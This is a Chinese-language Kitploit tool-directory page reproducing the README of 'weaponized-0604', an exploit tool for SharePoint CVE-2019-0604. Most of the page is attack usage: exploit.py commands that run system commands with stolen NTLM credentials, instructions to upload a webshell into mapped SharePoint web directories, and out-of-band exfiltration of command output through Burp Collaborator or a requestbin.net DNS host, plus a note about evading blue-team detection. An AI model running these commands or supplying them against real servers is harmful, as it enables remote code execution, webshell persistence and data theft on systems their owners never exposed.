Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
weaponized-0604 — 用于利用 SharePoint CVE-2019-0604 的自动化工具 | Kitploit
工具/GitHubGitHub/gh0st0ne/weaponized-0604
Payload生成漏洞分析漏洞利用Web应用程序漏洞利用渗透测试命令与控制
GitHubgh0st0ne/weaponized-0604

weaponized-0604

用于利用 SharePoint CVE-2019-0604 的自动化工具

查看仓库
85年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

武器化 CVE-2019-0604

自动化利用工具,最大化 CVE-2019-0604 的利用效果。

要求

requirements.txt 文件应列出此工具使用的所有 Python 库,它们将使用以下命令安装:

root@kitploit:~
$ pip install -r requirements.txt

手动盲利用(有/无凭据)

root@kitploit:~
$ python exploit.py -u <url-to-picker.aspx> -c whoami --ntlm -U <uname>:<passwd>

上传功能

上传任意实用的内容(Webshell、侦察工具……)

root@kitploit:~
Upload cmd.aspx to rcmd.aspx
--file-from /path/to/cmd.aspx --file-to /path/to/web_dir/rcmd.aspx

目录映射

root@kitploit:~
Sharepoint Default Web Virtual Dir:
C:\inetpub\wwwroot\wss\VirtualDirectories\80\_app_bin\ -> <target>/_app_bin/
C:\inetpub\wwwroot\wss\VirtualDirectories\80\_vti_pvt\ -> <target>/_vti_pvt/
C:\Program Files\Common Files\Microsoft shared\Web Server Extensions\15\template\layouts\ -> <target>/_layouts/15/
C:\Program Files\Common Files\Microsoft shared\Web Server Extensions\15\template\controltemplates\ -> <target>/_controltemplates/
C:\Program Files\Common Files\Microsoft shared\Web Server Extensions\15\template\identitymodel\login\ -> <target>/_login/
C:\Program Files\Common Files\Microsoft shared\Web Server Extensions\15\template\identitymodel\windows\ -> <target>/_windows/
C:\Program Files\Common Files\Microsoft shared\Web Server Extensions\wpresources\ -> <target>/_wpresources/
C:\Program Files\Common Files\Microsoft shared\Web Server Extensions\15\isapi\ -> <target>/_vti_bin/

使用 OOB 获取命令结果

配合 collaborator_http_api Burp 扩展

  1. 将 collaborator_http_api.py 安装到 BurpSuite (Pro)?

  2. 确保 BurpSuite 与此利用工具运行在同一台机器上。

  3. 开火,享受获取到的输出 :)

root@kitploit:~
$ python exploit.py -u <url-to-picker.aspx> -c whoami --collab --ntlm -U <uname>:<passwd>

sharepoint-rce-oob-demo

配合 DNSLog(例如 requestbin.net)

root@kitploit:~
$ python exploit.py -u <url-to-picker.aspx> -r <path/to/reqFile> --oob 8486990041a11aaa43ce.d.requestbin.net -c "whoami /priv"

从 DNS 获取数据

root@kitploit:~
2050524956494c4547455320494e464f524d4154494f4e
...

自己解码吧 :)

root@kitploit:~
 PRIVILEGES INFORMATION
...

待办事项

  • 参数解析器
  • SharePoint, CVE-2019-0604
  • 将命令拆分为多个部分(位于 args.cmds 中)
  • 按需指定二进制文件,避免被蓝队检测。(当前硬编码为 cmd.exe)

作者

  • Tree
下载工具